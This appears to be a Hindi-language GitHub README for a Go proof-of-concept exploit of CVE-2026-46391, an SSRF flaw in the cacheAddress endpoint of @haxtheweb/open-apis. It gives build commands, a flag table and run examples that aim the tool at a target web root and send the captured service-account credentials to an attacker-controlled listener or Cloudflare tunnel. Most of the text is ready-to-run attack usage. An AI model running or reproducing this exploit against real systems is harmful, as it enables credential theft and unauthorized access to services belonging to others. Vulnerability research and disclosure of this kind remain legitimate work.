bradyjmcl/cve-2026-46391CVE-2026-46391 के लिए प्रूफ ऑफ कॉन्सेप्ट एक्सप्लॉइट
CVE-2026-46391 के लिए प्रूफ ऑफ कॉन्सेप्ट। @haxtheweb/open-apis के cacheAddress एंडपॉइंट में SSRF कमजोरी को ट्रिगर करता है और कॉलबैक में भेजे गए सेवा खाता क्रेडेंशियल्स को कैप्चर करता है।
go build -o cve-2026-46391 .
go test ./...
./cve-2026-46391 -u <web-root> -l <listener> [-p port] [-t seconds] [-v]
| फ़्लैग | विवरण | डिफ़ॉल्ट |
|---|---|---|
-u, --url | लक्ष्य वेब रूट (उदा. http://10.10.0.80:3000) | आवश्यक |
-l, --listener | आपका आईपी/होस्टनेम या टनल URL (उदा. 192.168.1.10, https://uuid.trycloudflare.com) | आवश्यक |
-p, --port | सुनने के लिए स्थानीय पोर्ट | 8080 |
-t, --timeout | कॉलबैक के लिए प्रतीक्षा करने के लिए सेकंड | 30 |
-v, --verbose | हर इनबाउंड अनुरोध के हेडर और बॉडी प्रिंट करें | बंद |
सीधा (लक्ष्य के समान नेटवर्क):
./cve-2026-46391 -u http://10.10.0.80:3000 -l 10.10.15.201
VPS/Cloudflare टनल/etc के माध्यम से:
./cve-2026-46391 -u http://10.10.0.80:3000 -l https://random-words.trycloudflare.com
कस्टम पोर्ट और टाइमआउट:
./cve-2026-46391 -u http://10.10.0.80:3000 -l 10.10.15.201 -p 9090 -t 60